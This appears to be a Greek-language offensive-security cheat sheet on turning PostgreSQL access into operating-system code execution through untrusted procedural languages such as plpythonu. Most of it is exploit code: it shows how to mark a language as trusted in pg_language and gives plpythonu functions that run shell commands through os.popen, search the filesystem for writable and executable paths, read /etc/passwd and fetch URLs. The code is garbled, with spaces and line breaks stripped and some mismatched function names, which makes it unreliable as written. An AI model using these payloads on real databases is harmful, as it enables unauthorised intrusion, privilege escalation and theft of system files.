Η βάση δεδομένων PostgreSQL στην οποία έχετε πρόσβαση μπορεί να έχει διαφορετικές γλώσσες scripting εγκατεστημένες που θα μπορούσατε να εκμεταλλευτείτε για να εκτελέσετε αυθαίρετο κώδικα.
Μπορείτε να τις εκκινήσετε:
\dL *SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Οι περισσότερες από τις γλώσσες scripting που μπορείτε να εγκαταστήσετε στο PostgreSQL έχουν 2 γεύσεις: την έμπιστη και την μη έμπιστη. Η μη έμπιστη θα έχει ένα όνομα που τελειώνει σε "u" και θα είναι η έκδοση που θα σας επιτρέπει να εκτελείτε κώδικα και να χρησιμοποιείτε άλλες ενδιαφέρουσες λειτουργίες. Αυτές είναι γλώσσες που αν εγκατασταθούν είναι ενδιαφέρουσες:
plpythonu
plpython3u
plperlu
pljavaU
plrubyu
... (οποιαδήποτε άλλη γλώσσα προγραμματισμού που χρησιμοποιεί μια ανασφαλή έκδοση)
Αν διαπιστώσετε ότι μια ενδιαφέρουσα γλώσσα είναι εγκατεστημένη αλλά μη έμπιστη από το PostgreSQL (lanpltrusted είναι false) μπορείτε να προσπαθήσετε να την εμπιστευθείτε με την παρακάτω γραμμή ώστε να μην εφαρμοστούν περιορισμοί από το PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';# Tocheck your permissions over the table pg_languageSELECT*FROM information_schema.table_privileges WHERE table_name ='pg_language';
Αν δεν βλέπετε μια γλώσσα, μπορείτε να προσπαθήσετε να την φορτώσετε με (πρέπει να είστε superadmin):
Σημειώστε ότι είναι δυνατόν να μεταγλωττιστούν οι ασφαλείς εκδόσεις ως "μη ασφαλείς". Δείτε αυτό για παράδειγμα. Έτσι, αξίζει πάντα να δοκιμάσετε αν μπορείτε να εκτελέσετε κώδικα, ακόμη και αν βρείτε εγκατεστημένη μόνο την έμπιστη έκδοση.
plpythonu/plpython3u
CREATE OR REPLACEFUNCTIONexec (cmd text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.popen(cmd).read()#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})$$LANGUAGE'plpythonu';SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACEFUNCTIONget_user (pkg text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.getlogin()$$LANGUAGE'plpythonu';SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACEFUNCTIONlsdir (dir text)RETURNSVARCHAR(65535) stableAS $$import jsonfrom os import walkfiles =next(walk(dir), (None, None, []))return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]$$LANGUAGE'plpythonu';SELECT lsdir("/"); #List dir
CREATE OR REPLACEFUNCTIONfindw (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):writables = []def find_writable(path):ifnot os.path.isdir(path):returnif os.access(path, os.W_OK):writables.append(path)ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_writable(os.path.join(path, item))find_writable(path)return writablesreturn", ".join(my_find(dir))$$LANGUAGE'plpythonu';SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACEFUNCTIONfind_file (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in os.path.basename(i):b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_file("psql"); #Find a file
CREATE OR REPLACEFUNCTIONfindx (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find(dir)b = []for i in a:b.append(os.path.basename(i))return", ".join(b)$$LANGUAGE'plpythonu';SELECT findx("/"); #Find an executables in folder (recursively)
CREATE OR REPLACEFUNCTIONfind_exe (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in i:b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_exe("psql"); #Find executableby susbstring
CREATE OR REPLACEFUNCTIONread (pathtext)RETURNSVARCHAR(65535) stableAS $$import base64encoded_string= base64.b64encode(open(path).read())return encoded_string.decode('utf-8')returnopen(path).read()$$LANGUAGE'plpythonu';selectread('/etc/passwd'); #Read a filein b64
CREATE OR REPLACEFUNCTIONget_perms (pathtext)RETURNSVARCHAR(65535) stableAS $$import osstatus= os.stat(path)perms = oct(status.st_mode)[-3:]returnstr(perms)$$LANGUAGE'plpythonu';select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACEFUNCTIONreq2 (urltext)RETURNSVARCHAR(65535) stableAS $$import urllibr = urllib.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req2('https://google.com'); #Request using python2CREATE OR REPLACEFUNCTIONreq3 (urltext)RETURNSVARCHAR(65535) stableAS $$from urllib import requestr = request.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req3('https://google.com'); #Request using python3